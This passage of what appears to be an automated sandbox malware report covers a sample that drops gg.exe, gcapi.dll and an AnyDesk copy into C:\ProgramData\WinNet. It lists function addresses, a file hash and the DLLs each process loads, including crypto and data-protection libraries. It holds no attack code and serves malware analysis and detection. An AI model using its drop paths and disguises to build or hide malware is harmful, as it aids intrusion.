Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09653160	21_2_09653160
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09657928	21_2_09657928
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09653B68	21_2_09653B68
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09656BF0	21_2_09656BF0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09652A5C	21_2_09652A5C
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09656230	21_2_09656230
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_096542B4	21_2_096542B4
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_0965AA91	21_2_0965AA91
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_096525D9	21_2_096525D9
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_096584D1	21_2_096584D1
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_096554BF	21_2_096554BF
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_096517A8	21_2_096517A8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09651F80	21_2_09651F80
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09653150	21_2_09653150
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09650B70	21_2_09650B70
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09656BE0	21_2_09656BE0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09656220	21_2_09656220
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09650F30	21_2_09650F30
Source: C:\ProgramData\WinNet\gg.exe	Code function: 21_2_09654EC0	21_2_09654EC0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_0263DC74	23_2_0263DC74
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2C6E0	23_2_05A2C6E0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A286D8	23_2_05A286D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A29180	23_2_05A29180
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2A8AF	23_2_05A2A8AF
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2D0B0	23_2_05A2D0B0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A208E8	23_2_05A208E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A298E8	23_2_05A298E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2E038	23_2_05A2E038
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A28B40	23_2_05A28B40
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A26350	23_2_05A26350
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A25A80	23_2_05A25A80
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2AFB0	23_2_05A2AFB0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A25738	23_2_05A25738
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A286C8	23_2_05A286C8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A208D8	23_2_05A208D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A28B31	23_2_05A28B31
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2EAE9	23_2_05A2EAE9
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_05A2DAC9	23_2_05A2DAC9
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_06281768	23_2_06281768
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_062874F8	23_2_062874F8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_062824D8	23_2_062824D8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_062805E8	23_2_062805E8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_0628D220	23_2_0628D220
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_06288108	23_2_06288108
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_062851A8	23_2_062851A8
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_06280C80	23_2_06280C80
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_062839D0	23_2_062839D0
Source: C:\ProgramData\WinNet\gg.exe	Code function: 23_2_062824C8	23_2_062824C8

Source: Joe Sandbox View

Dropped File: C:\ProgramData\WinNet\gcapi.dll 73170761D6776C0DEBACFBBC61B6988CB8270A20174BF5C049768A264BB8FFAF

Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: String function: 69C22EA0 appears 47 times
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: String function: 69C22340 appears 31 times
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: String function: 69C26EC0 appears 51 times
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: String function: 69C3FC11 appears 50 times
Source: C:\ProgramData\WinNet\AnyDesk.exe	Code function: String function: 69C41630 appears 48 times

Source: AnyDesk.exe.7.dr

Static PE information: No import functions for PE file found

Source: SysrI6zSkJ.exe, 00000000.00000003.2259823166.000001589E241000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: OriginalFilenameAstutest.exe8 vs SysrI6zSkJ.exe

Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SysrI6zSkJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\embedded.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: thumbcache.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: linkinfo.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: ntshrui.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: cscapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dlnashext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wpdshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: msvcp140_clr0400.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\ProgramData\WinNet\gg.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: winmm.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: iphlpapi.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: winhttp.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: secur32.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: sspicli.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: msimg32.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: usp10.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: kernel.appcore.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: uxtheme.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: windows.storage.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wldp.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: profapi.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: ntmarta.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: firewallapi.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dnsapi.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: fwbase.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: fwpolicyiomgr.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: cryptsp.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: rsaenh.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: cryptbase.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: netapi32.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: netutils.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: wkscli.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: srvcli.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: netprofm.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: npmproxy.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dhcpcsvc6.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: dhcpcsvc.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: mswsock.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: rasadhlp.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: fwpuclnt.dll
Source: C:\ProgramData\WinNet\AnyDesk.exe	Section loaded: version.dll
